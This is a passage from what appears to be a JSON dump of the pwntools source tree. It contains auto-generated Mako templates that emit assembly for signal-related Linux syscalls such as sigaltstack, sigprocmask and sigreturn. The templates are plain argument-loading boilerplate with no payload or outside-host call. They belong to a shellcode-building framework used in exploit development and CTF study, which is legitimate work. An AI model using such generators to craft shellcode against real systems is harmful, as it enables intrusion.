    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigaltstack(ss, oss) -> str\n\nInvokes the syscall sigaltstack.\n\nSee 'man 2 sigaltstack' for more information.\n\nArguments:\n    ss(sigaltstack*): ss\n    oss(sigaltstack*): oss\nReturns:\n    int\n</%docstring>\n<%page args=\"ss=0, oss=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ss', 'oss']\n    argument_values = [ss, oss]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigaltstack']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigaltstack'])\n%>\n    /* sigaltstack(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/signal.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>signal(sig, handler) -> str\n\nInvokes the syscall signal.\n\nSee 'man 2 signal' for more information.\n\nArguments:\n    sig(int): sig\n    handler(sighandler_t): handler\nReturns:\n    sighandler_t\n</%docstring>\n<%page args=\"sig=0, handler=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['sig', 'handler']\n    argument_values = [sig, handler]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_signal']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_signal'])\n%>\n    /* signal(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/signalfd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>signalfd(fd, mask, flags) -> str\n\nInvokes the syscall signalfd.\n\nSee 'man 2 signalfd' for more information.\n\nArguments:\n    fd(int): fd\n    mask(sigset_t*): mask\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, mask=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'mask', 'flags']\n    argument_values = [fd, mask, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_signalfd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_signalfd'])\n%>\n    /* signalfd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/signalfd4.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>signalfd4(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall signalfd4.\n\nSee 'man 2 signalfd4' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_signalfd4']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_signalfd4'])\n%>\n    /* signalfd4(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigpending.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigpending(set) -> str\n\nInvokes the syscall sigpending.\n\nSee 'man 2 sigpending' for more information.\n\nArguments:\n    set(sigset_t*): set\nReturns:\n    int\n</%docstring>\n<%page args=\"set=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['set']\n    argument_values = [set]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigpending']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigpending'])\n%>\n    /* sigpending(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigprocmask.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigprocmask(how, set, oset) -> str\n\nInvokes the syscall sigprocmask.\n\nSee 'man 2 sigprocmask' for more information.\n\nArguments:\n    how(int): how\n    set(sigset_t*): set\n    oset(sigset_t*): oset\nReturns:\n    int\n</%docstring>\n<%page args=\"how=0, set=0, oset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['how', 'set', 'oset']\n    argument_values = [how, set, oset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigprocmask']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigprocmask'])\n%>\n    /* sigprocmask(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigqueueinfo.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigqueueinfo(tgid, sig, uinfo) -> str\n\nInvokes the syscall sigqueueinfo.\n\nSee 'man 2 sigqueueinfo' for more information.\n\nArguments:\n    tgid(pid_t): tgid\n    sig(int): sig\n    uinfo(siginfo_t*): uinfo\nReturns:\n    int\n</%docstring>\n<%page args=\"tgid=0, sig=0, uinfo=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tgid', 'sig', 'uinfo']\n    argument_values = [tgid, sig, uinfo]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rt_sigqueueinfo']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rt_sigqueueinfo'])\n%>\n    /* sigqueueinfo(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigreturn.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigreturn(scp) -> str\n\nInvokes the syscall sigreturn.\n\nSee 'man 2 sigreturn' for more information.\n\nArguments:\n    scp(sigcontext*): scp\nReturns:\n    int\n</%docstring>\n<%page args=\"scp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['scp']\n    argument_values = [scp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigreturn', 'SYS_rt_sigreturn']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigreturn', 'SYS_rt_sigreturn'])\n%>\n    /* sigreturn(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigsuspend.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigsuspend(set) -> str\n\nInvokes the syscall sigsuspend.\n\nSee 'man 2 sigsuspend' for more information.\n\nArguments:\n    set(sigset_t*): set\nReturns:\n    int\n</%docstring>\n<%page args=\"set=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['set']\n    argument_values = [set]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigsuspend']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigsuspend'])\n%>\n    /* sigsuspend(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigtimedwait.asm",
